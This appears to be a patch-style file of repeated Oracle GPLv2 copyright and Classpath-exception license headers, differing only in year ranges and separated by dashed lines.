+Copyright (c) 1999, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1999, 2007, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1999, 2008, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1999, 2009, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1999, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1999, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1999, 2012, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1999, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2000, 2001, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2000, 2002, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2000, 2003, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2000, 2004, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2000, 2005, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2000, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2000, 2007, Oracle and/or its affiliates. All rights reserved.
+
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2000, 2007, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2000, 2008, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2000, 2009, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2000, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2000, 2012, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2000, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2001, 2002, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2001, 2003, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2001, 2004, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2001, 2005, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2001, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2001, 2007, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2001, 2008, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2001, 2009, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2001, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
